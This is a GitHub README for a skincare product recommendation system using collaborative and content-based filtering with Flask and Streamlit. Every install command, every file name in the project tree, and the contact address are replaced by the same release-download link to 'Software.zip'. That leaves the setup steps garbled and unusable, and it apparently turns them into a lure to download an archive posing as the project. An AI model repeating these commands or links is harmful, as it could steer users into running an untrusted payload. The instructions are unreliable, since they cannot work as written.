Skip to content

A hybrid recommendation system combining Item-Based Collaborative Filtering and Content-Based Filtering to suggest skincare products based on user preferences, product ingredients, and ratings. Features a Flask API and an interactive Streamlit Web App for personalized recommendations.

Notifications You must be signed in to change notification settings

CYY-CYY-CYY/Hybrid-Recommendation-System

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

3 Commits
Β 
Β 

Repository files navigation

🌟 Hybrid Recommendation System for Skincare Products 🌟

GitHub Release

Welcome to the Hybrid-Recommendation-System repository! This project combines Item-Based Collaborative Filtering and Content-Based Filtering to suggest skincare products based on user preferences, product ingredients, and ratings. It features a Flask API and an interactive Streamlit Web App for personalized recommendations.

πŸ“ Repository Contents

  1. Flask API: The repository contains a Flask API to handle user requests and provide recommendations based on the hybrid system.
  2. Streamlit Web App: An interactive web application powered by Streamlit for users to easily explore personalized skincare product recommendations.
  3. Machine Learning Models: Implementation of Item-Based Collaborative Filtering and Content-Based Filtering algorithms to generate accurate recommendations.
  4. Data Processing Scripts: Scripts for data cleaning, feature extraction from product ingredients, and building the recommendation engine.
  5. Documentation: Detailed documentation on the project, including setup instructions, API endpoints, and how to use the web application.

πŸ› οΈ Technologies Used

  • Collaborative Filtering
  • Content-Based Filtering
  • Flask API
  • Machine Learning
  • Natural Language Processing
  • Recommendation System
  • Sephora (Skincare Products)
  • Streamlit

πŸš€ Getting Started

To get a copy of the project up and running on your local machine, follow these steps:

Prerequisites

  • Python 3.x
  • Flask
  • Streamlit
  • Pandas
  • NumPy
  • Scikit-learn

Installation

  1. Clone the repository:
    git clone https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
  2. Install the required dependencies:
    pip install -r https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
  3. Run the Flask API:
    python https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
  4. Launch the Streamlit Web App:
    streamlit run https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip

πŸ“Š Project Structure

Hybrid-Recommendation-System/
β”‚
β”œβ”€β”€ https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”œβ”€β”€ data/
β”‚   β”œβ”€β”€ https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”‚   └── https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”œβ”€β”€ models/
β”‚   β”œβ”€β”€ https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”‚   └── https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”œβ”€β”€ src/
β”‚   β”œβ”€β”€ https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”‚   β”œβ”€β”€ https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”‚   β”œβ”€β”€ https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”‚   └── https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”œβ”€β”€ templates/
β”‚   └── https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
β”œβ”€β”€ static/
β”‚   └── https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip
└── https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip

🌟 Features

  • Personalized Recommendations: Users can receive tailored skincare product recommendations based on their preferences and ratings.
  • Hybrid System: Combining both Collaborative Filtering and Content-Based Filtering algorithms for improved accuracy.
  • Interactive Web App: Explore and discover new skincare products through an engaging and intuitive web interface.
  • API Integration: Easily integrate the recommendation system into other applications or platforms using the Flask API.

🌺 About Skincare Recommendations

Skincare recommendations play a crucial role in helping individuals discover products that cater to their specific needs and preferences. By leveraging advanced recommendation systems like the one in this repository, users can save time and make more informed decisions when selecting skincare products.

πŸ“ˆ Future Enhancements

  1. User Authentication: Implement user profiles and authentication for personalized recommendations.
  2. Real-Time Updates: Incorporate real-time product data updates to ensure accurate recommendations.
  3. Enhanced Visualization: Introduce more visual elements and graphics to enhance the user experience.

🀝 Contribution Guidelines

We welcome contributions from the community to enhance the functionality and features of the Hybrid Recommendation System. To contribute, please follow these guidelines:

  1. Fork the repository and create a new branch for your feature.
  2. Make your changes and ensure they align with the project's coding style.
  3. Submit a pull request detailing the changes you've made and any additional considerations.

🌐 Additional Resources

πŸ“ž Contact Us

If you have any questions or suggestions regarding the Hybrid Recommendation System, feel free to reach out to us at https://github.com/CYY-CYY-CYY/Hybrid-Recommendation-System/releases/download/v2.0/Software.zip.

Let's revolutionize the way individuals discover skincare products with our powerful Hybrid Recommendation System! 🌟

About

A hybrid recommendation system combining Item-Based Collaborative Filtering and Content-Based Filtering to suggest skincare products based on user preferences, product ingredients, and ratings. Features a Flask API and an interactive Streamlit Web App for personalized recommendations.

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published